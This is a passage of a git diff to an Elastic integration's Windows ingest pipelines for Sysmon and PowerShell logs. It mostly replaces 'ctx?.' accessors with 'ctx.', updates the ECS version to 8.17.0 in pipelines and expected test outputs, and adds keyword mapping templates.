ctx.event.code != "7" && ctx?.winlog?.event_data?.OriginalFileName != null && ctx?.winlog?.event_data?.OriginalFileName != "" + if: ctx.event.code != "7" && ctx.winlog?.event_data?.OriginalFileName != null && ctx.winlog?.event_data?.OriginalFileName != "" - set: field: process.pe.company copy_from: winlog.event_data.Company @@ -464,8 +464,8 @@ processors: description: Implements Windows-like SplitCommandLine lang: painless if: |- - (ctx?.process?.command_line != null && ctx.process.command_line != "") || - (ctx?.process?.parent?.command_line != null && ctx.process.parent.command_line != "") + (ctx.process?.command_line != null && ctx.process.command_line != "") || + (ctx.process?.parent?.command_line != null && ctx.process.parent.command_line != "") source: |- // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. def appendBSBytes(StringBuilder b, int n) { @@ -538,13 +538,13 @@ processors: return args; } - def cmd = ctx?.process?.command_line; + def cmd = ctx.process?.command_line; if (cmd != null && cmd != "") { ctx.process.args = commandLineToArgv(cmd); ctx.process.args_count = ctx.process.args.length; } - def parentCmd = ctx?.process?.parent?.command_line; + def parentCmd = ctx.process?.parent?.command_line; if (parentCmd != null && parentCmd != "") { ctx.process.parent.args = commandLineToArgv(parentCmd); ctx.process.parent.args_count = ctx.process.parent.args.length; @@ -554,8 +554,8 @@ processors: description: Adds process name information. lang: painless if: |- - (ctx?.process?.executable != null && ctx.process.executable.length() > 1) || - (ctx?.process?.parent?.executable != null && ctx.process.parent.executable.length() > 1) + (ctx.process?.executable != null && ctx.process.executable.length() > 1) || + (ctx.process?.parent?.executable != null && ctx.process.parent.executable.length() > 1) source: |- def getProcessName(def path) { def idx = path.lastIndexOf("\\"); @@ -565,16 +565,16 @@ processors: return ""; } - def cmd = ctx?.process?.executable; - if (cmd != null && cmd != "" && ctx?.process?.name == null) { + def cmd = ctx.process?.executable; + if (cmd != null && cmd != "" && ctx.process?.name == null) { def name = getProcessName(cmd); if (name != "") { ctx.process.name = name; } } - def parentCmd = ctx?.process?.parent?.executable; - if (parentCmd != null && parentCmd != "" && ctx?.process?.parent?.name == null) { + def parentCmd = ctx.process?.parent?.executable; + if (parentCmd != null && parentCmd != "" && ctx.process?.parent?.name == null) { def name = getProcessName(parentCmd); if (name != "") { ctx.process.parent.name = name; @@ -587,7 +587,7 @@ processors: field: _temp.hashes target_field: file.hash if: |- - ctx?._temp?.hashes != null && + ctx._temp?.hashes != null && ["6", "7", "15", "26", "29"].contains(ctx.event.code) - rename: field: file.hash.imphash @@ -599,25 +599,25 @@ processors: target_field: file.path ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.TargetFilename != null && ctx?.winlog?.event_data?.TargetFilename != "" + if: ctx.winlog?.event_data?.TargetFilename != null && ctx.winlog?.event_data?.TargetFilename != "" - rename: field: winlog.event_data.Device target_field: file.path ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Device != null && ctx?.winlog?.event_data?.Device != "" + if: ctx.winlog?.event_data?.Device != null && ctx.winlog?.event_data?.Device != "" - rename: field: winlog.event_data.PipeName target_field: file.name ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.PipeName != null && ctx?.winlog?.event_data?.PipeName != "" + if: ctx.winlog?.event_data?.PipeName != null && ctx.winlog?.event_data?.PipeName != "" - rename: field: winlog.event_data.ImageLoaded target_field: file.path ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ImageLoaded != null && ctx?.winlog?.event_data?.ImageLoaded != "" + if: ctx.winlog?.event_data?.ImageLoaded != null && ctx.winlog?.event_data?.ImageLoaded != "" - set: field: file.code_signature.subject_name copy_from: winlog.event_data.Signature @@ -633,7 +633,7 @@ processors: target_field: file.pe.original_file_name ignore_missing: true ignore_failure: true - if: ctx.event.code == "7" && ctx?.winlog?.event_data?.OriginalFileName != null && ctx?.winlog?.event_data?.OriginalFileName != "" + if: ctx.event.code == "7" && ctx.winlog?.event_data?.OriginalFileName != null && ctx.winlog?.event_data?.OriginalFileName != "" - set: field: file.pe.company copy_from: winlog.event_data.Company @@ -661,21 +661,21 @@ processors: - set: field: file.code_signature.signed value: true - if: ctx?.winlog?.event_data?.Signed != null && ctx.winlog.event_data.Signed == true + if: ctx.winlog?.event_data?.Signed != null && ctx.winlog.event_data.Signed == true - set: field: file.code_signature.valid value: true - if: ctx?.winlog?.event_data?.SignatureStatus != null && ctx?.winlog?.event_data?.SignatureStatus == "Valid" + if: ctx.winlog?.event_data?.SignatureStatus != null && ctx.winlog?.event_data?.SignatureStatus == "Valid" - script: description: Adds file information. lang: painless - if: ctx?.file?.path != null && ctx.file.path.length() > 1 + if: ctx.file?.path != null && ctx.file.path.length() > 1 source: |- def path = ctx.file.path; def idx = path.lastIndexOf("\\"); if (idx > -1) { - if (ctx?.file == null) { + if (ctx.file == null) { ctx.file = new HashMap(); } ctx.file.name = path.substring(idx+1); @@ -694,19 +694,19 @@ processors: target_field: network.transport ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Protocol != null && ctx?.winlog?.event_data?.Protocol != "" + if: ctx.winlog?.event_data?.Protocol != null && ctx.winlog?.event_data?.Protocol != "" - rename: field: winlog.event_data.DestinationPortName target_field: network.protocol ignore_missing: true ignore_failure: true - if: ctx.event.code != "22" && ctx?.winlog?.event_data?.DestinationPortName != null && ctx?.winlog?.event_data?.DestinationPortName != "" + if: ctx.event.code != "22" && ctx.winlog?.event_data?.DestinationPortName != null && ctx.winlog?.event_data?.DestinationPortName != "" - rename: field: winlog.event_data.SourcePortName target_field: network.protocol ignore_missing: true ignore_failure: true - if: ctx.event.code != "22" && ctx?.winlog?.event_data?.SourcePortName != null && ctx?.winlog?.event_data?.SourcePortName != "" + if: ctx.event.code != "22" && ctx.winlog?.event_data?.SourcePortName != null && ctx.winlog?.event_data?.SourcePortName != "" - set: field: network.protocol value: dns @@ -717,68 +717,68 @@ processors: type: ip ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourceIp != null && ctx?.winlog?.event_data?.SourceIp != "" + if: ctx.winlog?.event_data?.SourceIp != null && ctx.winlog?.event_data?.SourceIp != "" - rename: field: winlog.event_data.SourceHostname target_field: source.domain ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceHostname != null && ctx?.winlog?.event_data?.SourceHostname != "" + if: ctx.winlog?.event_data?.SourceHostname != null && ctx.winlog?.event_data?.SourceHostname != "" - convert: field: winlog.event_data.SourcePort target_field: source.port type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourcePort != null && ctx?.winlog?.event_data?.SourcePort != "" + if: ctx.winlog?.event_data?.SourcePort != null && ctx.winlog?.event_data?.SourcePort != "" - convert: field: winlog.event_data.DestinationIp target_field: destination.ip type: ip ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DestinationIp != null && ctx?.winlog?.event_data?.DestinationIp != "" + if: ctx.winlog?.event_data?.DestinationIp != null && ctx.winlog?.event_data?.DestinationIp != "" - rename: field: winlog.event_data.DestinationHostname target_field: destination.domain ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.DestinationHostname != null && ctx?.winlog?.event_data?.DestinationHostname != "" + if: ctx.winlog?.event_data?.DestinationHostname != null && ctx.winlog?.event_data?.DestinationHostname != "" - convert: field: winlog.event_data.DestinationPort target_field: destination.port type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DestinationPort != null && ctx?.winlog?.event_data?.DestinationPort != "" + if: ctx.winlog?.event_data?.DestinationPort != null && ctx.winlog?.event_data?.DestinationPort != "" - rename: field: winlog.event_data.QueryName target_field: dns.question.name ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.QueryName != null && ctx?.winlog?.event_data?.QueryName != "" + if: ctx.winlog?.event_data?.QueryName != null && ctx.winlog?.event_data?.QueryName != "" - set: field: network.direction value: egress - if: ctx?.winlog?.event_data?.Initiated != null && ctx?.winlog?.event_data?.Initiated == "true" + if: ctx.winlog?.event_data?.Initiated != null && ctx.winlog?.event_data?.Initiated == "true" - set: field: network.direction value: ingress - if: ctx?.winlog?.event_data?.Initiated != null && ctx?.winlog?.event_data?.Initiated == "false" + if: ctx.winlog?.event_data?.Initiated != null && ctx.winlog?.event_data?.Initiated == "false" - set: field: network.type value: ipv4 - if: ctx?.winlog?.event_data?.SourceIsIpv6 != null && ctx?.winlog?.event_data?.SourceIsIpv6 == "false" + if: ctx.winlog?.event_data?.SourceIsIpv6 != null && ctx.winlog?.event_data?.SourceIsIpv6 == "false" - set: field: network.type value: ipv6 - if: ctx?.winlog?.event_data?.SourceIsIpv6 != null && ctx?.winlog?.event_data?.SourceIsIpv6 == "true" + if: ctx.winlog?.event_data?.SourceIsIpv6 != null && ctx.winlog?.event_data?.SourceIsIpv6 == "true" - script: description: | Splits the QueryResults field that contains the DNS responses. Example: "type: 5 f2.taboola.map.fastly.net;::ffff:151.101.66.2;::ffff:151.101.130.2;::ffff:151.101.194.2;::ffff:151.101.2.2;" lang: painless - if: ctx?.winlog?.event_data?.QueryResults != null && ctx?.winlog?.event_data?.QueryResults != "" + if: ctx.winlog?.event_data?.QueryResults != null && ctx.winlog?.event_data?.QueryResults != "" params: "1": "A" "2": "NS" @@ -879,7 +879,7 @@ processors: ctx.dns.resolved_ip = ips; } if (relatedHosts.length > 0) { - if (ctx?.related == null) { + if (ctx.related == null) { ctx.related = new HashMap(); } ctx.related.hosts = relatedHosts; @@ -915,7 +915,7 @@ processors: - script: description: Convert V4MAPPED addresses. lang: painless - if: ctx?.dns?.resolved_ip != null + if: ctx.dns?.resolved_ip != null source: |- if (ctx.dns.answers == null) { ctx.dns.answers = new ArrayList(); @@ -946,7 +946,7 @@ processors: field: related.hosts value: "{{dns.question.name}}" allow_duplicates: false - if: ctx?.dns?.question?.name != null && ctx?.dns?.question?.name != "" + if: ctx.dns?.question?.name != null && ctx.dns?.question?.name != "" - remove: description: Remove dns.question.domain because it is not part of ECS and is redundant with dns.question.name. field: dns.question.domain @@ -976,19 +976,19 @@ processors: field: winlog.event_data.User target_field: "_temp.user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.User != null + if: ctx.winlog?.event_data?.User != null - set: field: user.domain value: "{{_temp.user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - set: field: user.name value: "{{_temp.user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 # Get user details from the translate_sid processor enrichment # if they are available and we don't already have them. - rename: @@ -1020,7 +1020,7 @@ processors: target_field: sysmon.dns.status ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.QueryStatus != null && ctx?.winlog?.event_data?.QueryStatus != "" + if: ctx.winlog?.event_data?.QueryStatus != null && ctx.winlog?.event_data?.QueryStatus != "" - script: description: Translate DNS Query status. lang: painless @@ -1222,7 +1222,7 @@ processors: "10054": "WSAECONNRESET" "10055": "WSAENOBUFS" "10060": "WSAETIMEDOUT" - if: ctx?.sysmon?.dns?.status != null && ctx?.sysmon?.dns?.status != "" + if: ctx.sysmon?.dns?.status != null && ctx.sysmon?.dns?.status != "" source: |- def status = params[ctx.sysmon.dns.status]; if (status != null) { @@ -1234,14 +1234,18 @@ processors: type: boolean ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Archived != null && ctx?.winlog?.event_data?.Archived != "" + if: ctx.winlog?.event_data?.Archived != null && ctx.winlog?.event_data?.Archived != "" - convert: field: winlog.event_data.IsExecutable target_field: sysmon.file.is_executable type: boolean ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.IsExecutable != null && ctx?.winlog?.event_data?.IsExecutable != "" + if: ctx.winlog?.event_data?.IsExecutable != null && ctx.winlog?.event_data?.IsExecutable != "" + - convert: + field: error.code + type: string + ignore_missing: true ## Related fields @@ -1250,19 +1254,19 @@ processors: value: "{{user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.user?.name != null && ctx.user.name != "" + if: ctx.user?.name != null && ctx.user.name != "" - append: field: related.ip value: "{{source.ip}}" ignore_failure: true allow_duplicates: false - if: ctx?.source?.ip != null && ctx.source.ip != "" + if: ctx.source?.ip != null && ctx.source.ip != "" - append: field: related.ip value: "{{destination.ip}}" ignore_failure: true allow_duplicates: false - if: ctx?.destination?.ip != null && ctx.destination.ip != "" + if: ctx.destination?.ip != null && ctx.destination.ip != "" ## Registry fields @@ -1270,7 +1274,7 @@ processors: description: Set registry fields. lang: painless if: |- - ctx?.winlog?.event_data?.TargetObject != null && ctx?.winlog?.event_data?.TargetObject != "" && + ctx.winlog?.event_data?.TargetObject != null && ctx.winlog?.event_data?.TargetObject != "" && ["12", "13", "14"].contains(ctx.event.code) params: HKEY_CLASSES_ROOT: "HKCR" @@ -1308,7 +1312,7 @@ processors: def value = pathTokens[pathTokens.length - 1]; ctx.registry.value = value; - def data = ctx?.winlog?.event_data?.Details; + def data = ctx.winlog?.event_data?.Details; if (data != null && data != "") { def prefixLen = 2; // to remove 0x prefix def dataValue = ""; @@ -1394,6 +1398,7 @@ processors: - winlog.event_data.Hash - winlog.event_data.Hashes - winlog.event_data.TargetObject + - winlog.event_data.Details - winlog.time_created - winlog.level ignore_failure: true @@ -1401,14 +1406,14 @@ processors: - script: description: Remove all empty values from event_data. lang: painless - source: ctx?.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("") || entry.getValue().equals("-")); - if: ctx?.winlog?.event_data != null + source: ctx.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("") || entry.getValue().equals("-")); + if: ctx.winlog?.event_data != null - remove: description: Remove empty event data. field: winlog.event_data ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 + if: ctx.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 on_failure: - set: diff --git a/packages/windows/data_stream/forwarded/manifest.yml b/packages/windows/data_stream/forwarded/manifest.yml index 56bbee8b6e0..87ffbd6403f 100644 --- a/packages/windows/data_stream/forwarded/manifest.yml +++ b/packages/windows/data_stream/forwarded/manifest.yml @@ -8,6 +8,13 @@ elasticsearch: powershell_script_analyzer: type: pattern pattern: '[\W&&[^-]]+' + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog template_path: winlog.yml.hbs diff --git a/packages/windows/data_stream/powershell/_dev/test/pipeline/test-events.json-expected.json b/packages/windows/data_stream/powershell/_dev/test/pipeline/test-events.json-expected.json index f89447857d8..824468c10a0 100644 --- a/packages/windows/data_stream/powershell/_dev/test/pipeline/test-events.json-expected.json +++ b/packages/windows/data_stream/powershell/_dev/test/pipeline/test-events.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2020-05-13T13:21:43.183Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -65,7 +65,7 @@ { "@timestamp": "2020-05-14T07:00:30.891Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -124,7 +124,7 @@ { "@timestamp": "2020-02-26T09:37:40.487Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -230,7 +230,7 @@ { "@timestamp": "2020-05-14T15:31:22.426Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -288,7 +288,7 @@ { "@timestamp": "2020-05-15T08:33:26.393089Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Pipeline Execution Details", @@ -387,7 +387,7 @@ { "@timestamp": "2020-05-15T08:33:26.393089Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Pipeline Execution Details", @@ -469,7 +469,7 @@ { "@timestamp": "2024-03-28T19:01:28.331Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Provider Lifecycle", @@ -636,4 +636,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/powershell/_dev/test/system/test-default-config.yml b/packages/windows/data_stream/powershell/_dev/test/system/test-default-config.yml index 4456a4f2583..d96679b1724 100644 --- a/packages/windows/data_stream/powershell/_dev/test/system/test-default-config.yml +++ b/packages/windows/data_stream/powershell/_dev/test/system/test-default-config.yml @@ -1,5 +1,7 @@ input: httpjson service: splunk-mock +skip_ignored_fields: + - event.original vars: url: http://{{Hostname}}:{{Port}} username: test diff --git a/packages/windows/data_stream/powershell/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/powershell/elasticsearch/ingest_pipeline/default.yml index b7fbe855aff..07548ba891d 100644 --- a/packages/windows/data_stream/powershell/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/powershell/elasticsearch/ingest_pipeline/default.yml @@ -9,7 +9,7 @@ processors: trim_key: "\n\t" trim_value: "\n\t" value_split: "=" - if: ctx?.winlog?.event_id == "800" + if: ctx.winlog?.event_id == "800" - script: description: |- Split Events 4xx and 600 event data fields. @@ -46,13 +46,13 @@ processors: - set: field: ecs.version - value: '8.0.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level ignore_empty_value: true ignore_failure: true - if: ctx?.winlog?.level != "" + if: ctx.winlog?.level != "" - date: field: winlog.time_created tag: "time_created_date" @@ -81,15 +81,15 @@ processors: - set: field: event.type value: ["start"] - if: ctx?.event.code == "400" + if: ctx.event.code == "400" - set: field: event.type value: ["end"] - if: ctx?.event.code == "403" + if: ctx.event.code == "403" - set: field: event.type value: ["info"] - if: ctx?.event?.type == null + if: ctx.event?.type == null - convert: field: winlog.event_data.SequenceNumber target_field: event.sequence @@ -109,19 +109,19 @@ processors: target_field: process.entity_id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostId != "" + if: ctx.winlog?.event_data?.HostId != "" - rename: field: winlog.event_data.HostApplication target_field: process.command_line ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostApplication != "" + if: ctx.winlog?.event_data?.HostApplication != "" - rename: field: winlog.event_data.HostName target_field: process.title ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostName != "" + if: ctx.winlog?.event_data?.HostName != "" ## User fields. @@ -129,25 +129,25 @@ processors: field: winlog.event_data.UserId target_field: "_temp.user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.UserId != null + if: ctx.winlog?.event_data?.UserId != null - set: field: user.domain value: "{{_temp.user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - set: field: user.name value: "{{_temp.user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - append: field: related.user value: "{{user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.user?.name != null + if: ctx.user?.name != null # Get user details from the translate_sid processor enrichment # if they are available and we don't already have them. - rename: @@ -179,87 +179,87 @@ processors: target_field: powershell.engine.new_state ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.NewEngineState != "" + if: ctx.winlog?.event_data?.NewEngineState != "" - rename: field: winlog.event_data.PreviousEngineState target_field: powershell.engine.previous_state ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.PreviousEngineState != "" + if: ctx.winlog?.event_data?.PreviousEngineState != "" - rename: field: winlog.event_data.NewProviderState target_field: powershell.provider.new_state ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.NewProviderState != "" + if: ctx.winlog?.event_data?.NewProviderState != "" - rename: field: winlog.event_data.ProviderName target_field: powershell.provider.name ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ProviderName != "" + if: ctx.winlog?.event_data?.ProviderName != "" - convert: field: winlog.event_data.DetailTotal target_field: powershell.total type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DetailTotal != "" + if: ctx.winlog?.event_data?.DetailTotal != "" - convert: field: winlog.event_data.DetailSequence target_field: powershell.sequence type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DetailSequence != "" + if: ctx.winlog?.event_data?.DetailSequence != "" - rename: field: winlog.event_data.EngineVersion target_field: powershell.engine.version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.EngineVersion != "" + if: ctx.winlog?.event_data?.EngineVersion != "" - rename: field: winlog.event_data.PipelineId target_field: powershell.pipeline_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.PipelineId != "" + if: ctx.winlog?.event_data?.PipelineId != "" - rename: field: winlog.event_data.RunspaceId target_field: powershell.runspace_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RunspaceId != "" + if: ctx.winlog?.event_data?.RunspaceId != "" - rename: field: winlog.event_data.HostVersion target_field: powershell.process.executable_version ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.HostVersion != "" + if: ctx.winlog?.event_data?.HostVersion != "" - rename: field: winlog.event_data.CommandLine target_field: powershell.command.value ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandLine != "" + if: ctx.winlog?.event_data?.CommandLine != "" - rename: field: winlog.event_data.CommandPath target_field: powershell.command.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandPath != "" + if: ctx.winlog?.event_data?.CommandPath != "" - rename: field: winlog.event_data.CommandName target_field: powershell.command.name ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandName != "" + if: ctx.winlog?.event_data?.CommandName != "" - rename: field: winlog.event_data.CommandType target_field: powershell.command.type ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.CommandType != "" + if: ctx.winlog?.event_data?.CommandType != "" - split: description: Split Event 800 command invocation details. @@ -327,7 +327,7 @@ processors: ]; } - if (ctx?._temp == null) { + if (ctx._temp == null) { ctx._temp = new HashMap(); } @@ -335,7 +335,7 @@ processors: ctx._temp.details = new ArrayList(); } - def values = ctx?.winlog?.event_data[params["field"]]; + def values = ctx.winlog?.event_data[params["field"]]; if (values != null && values.length > 0) { for (v in values) { ctx._temp.details.add(parseRawDetail(v)); @@ -344,12 +344,12 @@ processors: - rename: field: _temp.details target_field: powershell.command.invocation_details - if: ctx?._temp?.details != null && ctx?._temp?.details.length > 0 + if: ctx._temp?.details != null && ctx._temp?.details.length > 0 - script: description: Implements Windows-like SplitCommandLine lang: painless - if: ctx?.process?.command_line != null && ctx.process.command_line != "" + if: ctx.process?.command_line != null && ctx.process.command_line != "" source: |- // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. def appendBSBytes(StringBuilder b, int n) { @@ -428,12 +428,12 @@ processors: - script: description: Adds file information. lang: painless - if: ctx?.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 + if: ctx.winlog?.event_data?.ScriptName != null && ctx.winlog.event_data.ScriptName.length() > 1 source: |- def path = ctx.winlog.event_data.ScriptName; def idx = path.lastIndexOf("\\"); if (idx > -1) { - if (ctx?.file == null) { + if (ctx.file == null) { ctx.file = new HashMap(); } ctx.file.name = path.substring(idx+1); @@ -449,7 +449,7 @@ processors: target_field: file.path ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ScriptName != "" + if: ctx.winlog?.event_data?.ScriptName != "" - convert: field: error.code @@ -475,14 +475,14 @@ processors: - script: description: Remove all empty values from event_data. lang: painless - source: ctx?.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); - if: ctx?.winlog?.event_data != null + source: ctx.winlog?.event_data?.entrySet().removeIf(entry -> entry.getValue() == null || entry.getValue().equals("")); + if: ctx.winlog?.event_data != null - remove: description: Remove empty event data. field: winlog.event_data ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 + if: ctx.winlog?.event_data != null && ctx.winlog.event_data.size() == 0 on_failure: - set: diff --git a/packages/windows/data_stream/powershell/manifest.yml b/packages/windows/data_stream/powershell/manifest.yml index d6336f08dea..99f6b55fa21 100644 --- a/packages/windows/data_stream/powershell/manifest.yml +++ b/packages/windows/data_stream/powershell/manifest.yml @@ -8,6 +8,13 @@ elasticsearch: powershell_script_analyzer: type: pattern pattern: '[\W&&[^-]]+' + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog template_path: winlog.yml.hbs diff --git a/packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json-expected.json b/packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json-expected.json index aef72bdbc21..e36289fda3b 100644 --- a/packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json-expected.json +++ b/packages/windows/data_stream/powershell_operational/_dev/test/pipeline/test-events.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2020-05-13T09:04:04.755Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -64,7 +64,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -171,7 +171,7 @@ { "@timestamp": "2020-05-13T10:40:32.595Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -226,7 +226,7 @@ { "@timestamp": "2020-05-14T11:33:51.389Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -285,7 +285,7 @@ { "@timestamp": "2023-06-01T05:27:01.247Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Executing Pipeline", @@ -406,7 +406,7 @@ { "@timestamp": "2024-09-03T15:27:45.847Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "PowerShell Console Startup", diff --git a/packages/windows/data_stream/powershell_operational/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/powershell_operational/elasticsearch/ingest_pipeline/default.yml index 3a42525287a..48755b61227 100644 --- a/packages/windows/data_stream/powershell_operational/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/powershell_operational/elasticsearch/ingest_pipeline/default.yml @@ -9,11 +9,11 @@ processors: trim_key: " \n\t" trim_value: " \n\t" value_split: "[:=]" - if: ctx?.winlog?.event_id == "4103" + if: ctx.winlog?.event_id == "4103" - script: description: Remove spaces from all event_data keys. lang: painless - if: ctx?.winlog?.event_data != null + if: ctx.winlog?.event_data != null source: |- def newEventData = new HashMap(); for (entry in ctx.winlog.event_data.entrySet()) { @@ -26,13 +26,13 @@ processors: - set: field: ecs.version - value: '8.0.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level ignore_empty_value: true ignore_failure: true - if: ctx?.winlog?.level != "" + if: ctx.winlog?.level != "" - date: field: winlog.time_created tag: "time_created_date" @@ -61,15 +61,15 @@ processors: - set: field: event.type value: ["start"] - if: ctx?.event.code == "4105" + if: ctx.event.code == "4105" - set: field: event.type value: ["end"] - if: ctx?.event.code == "4106" + if: ctx.event.code == "4106" - set: field: event.type value: ["info"] - if: ctx?.event?.type == null + if: ctx.event?.type == null - convert: field: winlog.event_data.SequenceNumber target_field: event.sequence @@ -89,19 +89,19 @@ processors: target_field: process.entity_id ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostID != "" + if: ctx.winlog?.event_data?.HostID != "" - rename: field: winlog.event_data.HostApplication target_field: process.command_line ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostApplication != "" + if: ctx.winlog?.event_data?.HostApplication != "" - rename: field: winlog.event_data.HostName target_field: process.title ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.HostName != "" + if: ctx.winlog?.event_data?.HostName != "" ## User fields. @@ -114,72 +114,72 @@ processors: field: winlog.event_data.User target_field: "_temp.user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.User != null + if: ctx.winlog?.event_data?.User != null - set: field: user.domain value: "{{_temp.user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - set: field: user.name value: "{{_temp.user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 - append: field: related.user value: "{{user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.user?.name != null + if: ctx.user?.name != null - split: field: winlog.event_data.ConnectedUser target_field: "_temp.connected_user_parts" separator: '\\' - if: ctx?.winlog?.event_data?.ConnectedUser != null + if: ctx.winlog?.event_data?.ConnectedUser != null - set: field: source.user.domain value: "{{_temp.connected_user_parts.0}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 + if: ctx._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 - set: field: source.user.name value: "{{_temp.connected_user_parts.1}}" ignore_failure: true ignore_empty_value: true - if: ctx?._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 + if: ctx._temp?.connected_user_parts != null && ctx._temp.connected_user_parts.size() == 2 - append: field: related.user value: "{{source.user.name}}" ignore_failure: true allow_duplicates: false - if: ctx?.source?.user?.name != null + if: ctx.source?.user?.name != null - rename: field: user.domain target_field: destination.user.domain ignore_failure: true ignore_missing: true - if: ctx?.source?.user != null + if: 